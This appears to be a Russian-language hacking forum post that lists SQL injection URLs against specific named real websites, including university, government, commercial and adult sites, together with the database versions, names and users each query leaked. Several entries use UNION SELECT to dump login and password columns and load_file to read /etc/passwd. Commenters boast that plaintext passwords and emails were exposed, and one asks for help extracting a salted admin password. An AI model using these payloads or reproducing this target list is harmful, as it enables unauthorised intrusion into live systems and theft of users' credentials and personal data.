SQL Инъекции

http://www.bme.jhu.edu/people/primary.php?id=-393+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,version(),24,25,26,27/*

Database Version: 5.0.45
Database name: bme
User name: bmeweb@localhost

 

http://www.french-e-girls.com/girl.php?id=2-3%20union%20select%201,concat_ws(0x3a,iduser,login,password,email,enddate,suspended),3,4,5,6,7,8%20from%20userccbill%20limit%201,1--

Опять же все пользовательские пароли с мыльниками в открытом виде даже некоторые подходят к мылам


____________

http://www.aramis-london-escorts.co.uk/girl.php?id=2-5%20UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20information_schema.columns%20where%20table_name=0x6573636f727473%20--

Версия 5

_______________

http://www.sweet-e-girls.com/girl.php?id=2-1%20union%20select%201,2,3,concat_ws(0x3a,login,password),5,6,7,8%20from%20user%20--

Чето меня на порно сайты потянуло 3 подряд.... хех тут кстати тоже все пароли в OPEN

 

Code:

http://www.kent.fire-uk.org//playmovie.php?contid=-40+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10/*

[email protected]:5.0.22:KFRSLive

 

http://www.msop.avtograd.ru/people.php?action=show&id=1-1%20union%20select%201,2,concat_ws(0x3a,username,user_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20phpbb2_users%20limit%201,1--

Вот и пасс от форума только в хеш -(( а на форуме бд н а 36 000 человек..

 

PR 5

Code:

http://www.kyfestivals.com/details.php?id=-125'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,29+from+mysql.user/*

Database Version: 4.1.22
Database name: kyfestivals
User name: setel@localhost

 

PR6

Code:

http://www.cckc.gov.cn/cckc/lnw/news_view.php?id=2+union+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7--

Database Version: 5.0.75-0ubuntu10
Database name: cckc2005_lnw
User name: cress@localhost

 

5.0.32-Debian_7etch8-log www@localhost truman

 

http://kryolan.s10.omatix.de/en/index.php?mnu=612&id=35+limit+0+UNION+SELECT+1,CONCAT(version(),database(),user()),3,4--

database Version: 5.0.32-Debian_7etch8-log
database name: kryolansql1
user name: kryolansql1@localhost

 

http://www.gripskateshop.co.uk/index.php?ID=35+limit+0+UNION+SELECT+1,CONCAT(version(),database(),user()),3,4,5,6--

database Version: 5.0.82-community
database name: web36-user-2
user name: web36-user-2@localhost

 

Code:

http://pescaderiascorunesas.es/gran_cocina/autor/?id=-13+union+select+1,2,3,4,CONCAT(version(),database(),user()),6,7,8,9--

[email protected]

 

PR 8
http://exploratorium.edu/webcasts/explotv_player.php?id=-00000759+union+select+version(),2,3/*

Database Version: 5.0.33
Database name: ExploMedia
User name: [email protected]

 

http://www.eored.ru/faq.php?s=&do=search&q=%00'&match=all&titlesonly=0

Видно что есть инъекция, но запрос походу не верный ( иначе бы показался админский пасс с солью (
Помогите пожалуйста сформировать правельный...

 

http://www.terfeliaid.co.uk/index.php?page=4&id=35+limit+0+UNION+SELECT+1,CONCAT(version(),database(),user()),3,4,5,6,7,8--

database Version: 5.0.22-Debian_0ubuntu6.06.11-log
database name: terfeliaid_db
user name: terfeliaid2@localhost

 

http://takproperty.co.uk/search.php?ref_id=&status=-&region=-&location=7+limit+0+UNION+SELECT+CONCAT(version(),database(),user()),2,3,4,5--
database Version: 5.0.67-percona-highperf-b10-log
database name: takprop_takeproperty
user name: takprop_admin@localhost

 

http://www.wickesmedia.co.uk/site/pages/newsitem.php?id=35+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(version(),database(),user()),0x71),0x71),4,5,6,7,8,9,10,11--

database Version: 5.0.17-standard
database name: wickesdb
user name: [email protected]

 

http://www.uiartsfaculty.net/cv/showcv.php?id=-51+union+select+1,2,3,4,5,6,version(),8,9,0,1,2,3,4,5,6,7,8,9,0,1,22--

Database Version: 5.0.81-community-log
Database name: cactilio_uifacultyofarts
User name: cactilio_ui@localhost

 

http://www.dhcottages.co.uk/details.php?id=35+UNION+SELECT+1,2,3,4,CONCAT(version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+LIMIT+1,1--

Database Version: 4.1.22-community-nt-log
Database name: dch_admin
User name: Ravine@DSVR009974

 

MSSQL-Inj:

Code:

http://www.right-travel.com/travel_tips.php?id=1%27+or+1=@@version+--+

 

PR3 тиц100

Code:

http://www.nerungri[COLOR=Lime].edu.ru[/COLOR]/muuo/web/3/admin/index.php?page=edit&id=-8+union+select+1,2,3,4,concat_ws(0x3a,username,email,password),6,7,8,9,0,11+from+antoria.jos_users/*

Database Version: 5.0.32-Debian_7etch10-log
Database name: history
User name: admin@localhost

 

4.1.22-standardsalsamov_londonsalsasalsamov@localhost